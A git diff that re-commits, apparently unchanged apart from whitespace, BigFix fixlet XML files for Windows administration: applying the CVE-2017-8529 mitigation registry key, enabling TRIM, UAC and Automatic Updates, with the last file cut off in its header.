diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24651).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24651).bes
index 59d6d31c2..25702d742 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24651).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24651).bes	
@@ -1,68 +1,68 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Enable Solution to CVE-2017-8529 - Windows 7 SP1 / 8.1 / 10 / Windows Server 2008 SP2 / 2008 R2 SP1 / 2012 / 2012 R2 / 2016
-  ID       : 24651
-  Author   : JasonL
-  Domain   : BESC
-  Imported : 2017-10-05T03:09:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Enable Solution to CVE-2017-8529 - Windows 7 SP1 / 8.1 / 10 / Windows Server 2008 SP2 / 2008 R2 SP1 / 2012 / 2012 R2 / 2016</Title>
-    <Description><![CDATA[
-<DIV class=FixletMessage>
-<TABLE><TBODY><TR><TD> <DIV class=FixletMessage> <P>Use this Fixlet to enable solution to CVE-2017-8529.</P></DIV></TD></TR></TBODY></TABLE>
-</DIV>
-<DIV class=FixletProperty>
-<H4>File Size:</H4>
-Unspecified
- </DIV>
-]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>not ia64 of operating system</Relevance>
-    <Relevance>((name of it = &quot;Win2008&quot;) AND service pack major version of it = 2 OR (name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) AND service pack major version of it = 1 OR name of it = &quot;Win8&quot; OR name of it = &quot;Win8.1&quot; OR name of it = &quot;Win10&quot; OR name of it = &quot;Win2012&quot; OR name of it = &quot;Win2012R2&quot; OR name of it = &quot;Win2016&quot;) of operating system</Relevance>
-    <Relevance><![CDATA[number of (elements of ((set of (if (exists key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" of native registry) then elements whose ((it contains "4036586" OR it contains "4038777" OR it contains "4038781" OR it contains "4038782" OR it contains "4038783" OR it contains "4038788" OR it contains "4038792" OR it contains "4038799") AND it does not contain "_") of (set of ((substrings before "~" of substrings after "for_" of names of keys whose (name of it contains "for_" AND (it = 96 or it = 112 or it = 6 or it = 7) of (value "CurrentState" of it as integer)) of key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" of native registry) as uppercase)) else (nothing))))) > 0]]></Relevance>
-    <Relevance>not exist keys &quot;FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX&quot; whose (value &quot;iexplore.exe&quot; of it as integer = 1) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl&quot; of native registry</Relevance>
-    <Relevance>not pending restart &quot;5eae6a9509552040ccf975999b91b3979fc0821d&quot;</Relevance>
-    <Category>Setting</Category>
-    <Source>Microsoft</Source>
-    <SourceID>Unspecified</SourceID>
-    <SourceReleaseDate>2017-09-12</SourceReleaseDate>
-    <SourceSeverity>Unspecified</SourceSeverity>
-    <CVENames>CVE-2017-8529</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-product-family</Name>
-      <Value>Windows</Value>
-    </MIMEField>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action25719">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX]&quot; &quot;iexplore.exe&quot;=dword:00000001
-
-if {x64 of operating system}
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX]&quot; &quot;iexplore.exe&quot;=dword:00000001
-endif
-
-action requires restart &quot;5eae6a9509552040ccf975999b91b3979fc0821d&quot;</ActionScript>
-    </Action>
-    <Action ID="Action25720">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to see the Security Guidance Article for this update.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8529</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable Solution to CVE-2017-8529 - Windows 7 SP1 / 8.1 / 10 / Windows Server 2008 SP2 / 2008 R2 SP1 / 2012 / 2012 R2 / 2016
+  ID       : 24651
+  Author   : JasonL
+  Domain   : BESC
+  Imported : 2017-10-05T03:09:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable Solution to CVE-2017-8529 - Windows 7 SP1 / 8.1 / 10 / Windows Server 2008 SP2 / 2008 R2 SP1 / 2012 / 2012 R2 / 2016</Title>
+    <Description><![CDATA[
+<DIV class=FixletMessage>
+<TABLE><TBODY><TR><TD> <DIV class=FixletMessage> <P>Use this Fixlet to enable solution to CVE-2017-8529.</P></DIV></TD></TR></TBODY></TABLE>
+</DIV>
+<DIV class=FixletProperty>
+<H4>File Size:</H4>
+Unspecified
+ </DIV>
+]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>not ia64 of operating system</Relevance>
+    <Relevance>((name of it = &quot;Win2008&quot;) AND service pack major version of it = 2 OR (name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) AND service pack major version of it = 1 OR name of it = &quot;Win8&quot; OR name of it = &quot;Win8.1&quot; OR name of it = &quot;Win10&quot; OR name of it = &quot;Win2012&quot; OR name of it = &quot;Win2012R2&quot; OR name of it = &quot;Win2016&quot;) of operating system</Relevance>
+    <Relevance><![CDATA[number of (elements of ((set of (if (exists key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" of native registry) then elements whose ((it contains "4036586" OR it contains "4038777" OR it contains "4038781" OR it contains "4038782" OR it contains "4038783" OR it contains "4038788" OR it contains "4038792" OR it contains "4038799") AND it does not contain "_") of (set of ((substrings before "~" of substrings after "for_" of names of keys whose (name of it contains "for_" AND (it = 96 or it = 112 or it = 6 or it = 7) of (value "CurrentState" of it as integer)) of key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" of native registry) as uppercase)) else (nothing))))) > 0]]></Relevance>
+    <Relevance>not exist keys &quot;FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX&quot; whose (value &quot;iexplore.exe&quot; of it as integer = 1) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl&quot; of native registry</Relevance>
+    <Relevance>not pending restart &quot;5eae6a9509552040ccf975999b91b3979fc0821d&quot;</Relevance>
+    <Category>Setting</Category>
+    <Source>Microsoft</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2017-09-12</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>CVE-2017-8529</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action25719">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX]&quot; &quot;iexplore.exe&quot;=dword:00000001
+
+if {x64 of operating system}
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX]&quot; &quot;iexplore.exe&quot;=dword:00000001
+endif
+
+action requires restart &quot;5eae6a9509552040ccf975999b91b3979fc0821d&quot;</ActionScript>
+    </Action>
+    <Action ID="Action25720">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the Security Guidance Article for this update.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8529</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable TRIM on Win7 for SSDs (1385).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable TRIM on Win7 for SSDs (1385).bes
index 2a33cc78c..0aaa2d8cf 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable TRIM on Win7 for SSDs (1385).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable TRIM on Win7 for SSDs (1385).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Enable TRIM on Win7 for SSDs
-  ID       : 1385
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-01-18T10:41:57
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Enable TRIM on Win7 for SSDs</Title>
-    <Description><![CDATA[<P>This should only be done on computers with SSDs that support TRIM properly. Some older SSDs require firmware updates for TRIM to work properly. This task does not detect if a system has an SSD, so it will be applicable on systems that do not need this setting changed.</P>
-<P>&nbsp;</P><A href="http://technet.microsoft.com/en-us/library/cc785435(v=ws.10).aspx">http://technet.microsoft.com/en-us/library/cc785435(v=ws.10).aspx</A>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>&quot;Win7&quot; = name of operating system</Relevance>
-    <Relevance>0 != value &quot;DisableDeleteNotification&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2013-01-18</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 18 Jan 2013 16:43:13 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden fsutil behavior set disabledeletenotify 0</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Enable TRIM on Win7 for SSDs
+  ID       : 1385
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-01-18T10:41:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Enable TRIM on Win7 for SSDs</Title>
+    <Description><![CDATA[<P>This should only be done on computers with SSDs that support TRIM properly. Some older SSDs require firmware updates for TRIM to work properly. This task does not detect if a system has an SSD, so it will be applicable on systems that do not need this setting changed.</P>
+<P>&nbsp;</P><A href="http://technet.microsoft.com/en-us/library/cc785435(v=ws.10).aspx">http://technet.microsoft.com/en-us/library/cc785435(v=ws.10).aspx</A>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>&quot;Win7&quot; = name of operating system</Relevance>
+    <Relevance>0 != value &quot;DisableDeleteNotification&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-01-18</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 18 Jan 2013 16:43:13 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden fsutil behavior set disabledeletenotify 0</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable UAC (1377).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable UAC (1377).bes
index 4a2392450..99849b596 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable UAC (1377).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable UAC (1377).bes	
@@ -1,43 +1,43 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Enable UAC
-  ID       : 1377
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2013-01-14T10:18:43
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Enable UAC</Title>
-    <Description><![CDATA[If you’ve used Windows&nbsp;since the release of Vista for more than 3.7 minutes, you know what UAC (User Account Control) is.. it’s the obnoxious, nagging popup window that will be your life for the next 3-5 years unless you switch back to XP in frustration, or to a better OS like… OS X, Suse, Ubuntu, or even XP. ]]></Description>
-    <Relevance>(name of it = &quot;WinVista&quot; or name of it = &quot;Win7&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
-    <Relevance>value &quot;EnableLUA&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; of registry = 0 OR value &quot;EnableLUA&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; of x64 registry = 0</Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2013-01-14</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 14 Jan 2013 15:33:44 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]&quot; &quot;EnableLUA&quot;=dword:1
-if {x64 of operating system}
-	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]&quot; &quot;EnableLUA&quot;=dword:1
-endif
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Enable UAC
+  ID       : 1377
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-01-14T10:18:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Enable UAC</Title>
+    <Description><![CDATA[If you’ve used Windows&nbsp;since the release of Vista for more than 3.7 minutes, you know what UAC (User Account Control) is.. it’s the obnoxious, nagging popup window that will be your life for the next 3-5 years unless you switch back to XP in frustration, or to a better OS like… OS X, Suse, Ubuntu, or even XP. ]]></Description>
+    <Relevance>(name of it = &quot;WinVista&quot; or name of it = &quot;Win7&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
+    <Relevance>value &quot;EnableLUA&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; of registry = 0 OR value &quot;EnableLUA&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; of x64 registry = 0</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-01-14</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 14 Jan 2013 15:33:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]&quot; &quot;EnableLUA&quot;=dword:1
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]&quot; &quot;EnableLUA&quot;=dword:1
+endif
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Windows Automatic Updates (97).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Windows Automatic Updates (97).bes
index d204c0a74..246532d62 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable Windows Automatic Updates (97).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Windows Automatic Updates (97).bes	
@@ -1,58 +1,58 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Enable Windows Automatic Updates
-  ID       : 97
-  Author   : danielheth
-  Domain   : SYST
-  Imported : 2012-10-17T09:31:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Enable Windows Automatic Updates</Title>
-    <Description>Enables Windows Automatic Update </Description>
-    <Relevance>(name of it starts with &quot;WinXP&quot; or name of it = &quot;WinVista&quot; or name of it = &quot;Win7&quot;) of operating system</Relevance>
-    <Relevance>((if exists value &quot;NoAutoUpdate&quot; of it then value &quot;NoAutoUpdate&quot; of it as integer else 0) of key &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU&quot; of registry) != 0</Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-01-20</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 01 Oct 2012 21:30:05 +0000</Value>
-    </MIMEField>
-    <Domain>SYST</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;AUOptions&quot;=dword:00000004
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;AUPowerManagement&quot;=dword:00000001
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;AutoInstallMinorUpdates&quot;=dword:00000001
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;IncludeRecommendedUpdates&quot;=dword:00000001
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;NoAUAsDefaultShutdownOption&quot;=dword:00000000
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;NoAUShutdownOption&quot;=dword:00000000
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;NoAutoRebootWithLoggedOnUsers&quot;=dword:00000000
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;NoAutoUpdate&quot;=dword:00000000
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;RebootWarningTimeout&quot;=dword:0000000f
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;RebootWarningTimeoutEnabled&quot;=dword:00000001
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;RescheduleWaitTime&quot;=dword:00000001
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;RescheduleWaitTimeEnabled&quot;=dword:00000001
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;ScheduledInstallDay&quot;=dword:00000000
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;ScheduledInstallTime&quot;=dword:00000002</ActionScript>
-    </DefaultAction>
-    <Action ID="Action248">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more about this fixlet.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri"><![CDATA[http://www.ibm.com/developerworks/forums/thread.jspa?messageID=14780787&tstart=0#14780787]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable Windows Automatic Updates
+  ID       : 97
+  Author   : danielheth
+  Domain   : SYST
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable Windows Automatic Updates</Title>
+    <Description>Enables Windows Automatic Update </Description>
+    <Relevance>(name of it starts with &quot;WinXP&quot; or name of it = &quot;WinVista&quot; or name of it = &quot;Win7&quot;) of operating system</Relevance>
+    <Relevance>((if exists value &quot;NoAutoUpdate&quot; of it then value &quot;NoAutoUpdate&quot; of it as integer else 0) of key &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU&quot; of registry) != 0</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-01-20</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:30:05 +0000</Value>
+    </MIMEField>
+    <Domain>SYST</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;AUOptions&quot;=dword:00000004
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;AUPowerManagement&quot;=dword:00000001
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;AutoInstallMinorUpdates&quot;=dword:00000001
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;IncludeRecommendedUpdates&quot;=dword:00000001
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;NoAUAsDefaultShutdownOption&quot;=dword:00000000
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;NoAUShutdownOption&quot;=dword:00000000
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;NoAutoRebootWithLoggedOnUsers&quot;=dword:00000000
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;NoAutoUpdate&quot;=dword:00000000
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;RebootWarningTimeout&quot;=dword:0000000f
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;RebootWarningTimeoutEnabled&quot;=dword:00000001
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;RescheduleWaitTime&quot;=dword:00000001
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;RescheduleWaitTimeEnabled&quot;=dword:00000001
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;ScheduledInstallDay&quot;=dword:00000000
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;ScheduledInstallTime&quot;=dword:00000002</ActionScript>
+    </DefaultAction>
+    <Action ID="Action248">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this fixlet.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri"><![CDATA[http://www.ibm.com/developerworks/forums/thread.jspa?messageID=14780787&tstart=0#14780787]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/End of Support - Unsupported Windows OS (25452).bes b/Sites/Windows Management/Fixlets/Fixlets/End of Support - Unsupported Windows OS (25452).bes
index 8c2a90528..893ebefdd 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/End of Support - Unsupported Windows OS (25452).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/End of Support - Unsupported Windows OS (25452).bes	
@@ -1,45 +1,45 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : End of Support - Unsupported Windows OS
-  ID       : 25452
-  Author   : rdshift
-  Domain   : BESC
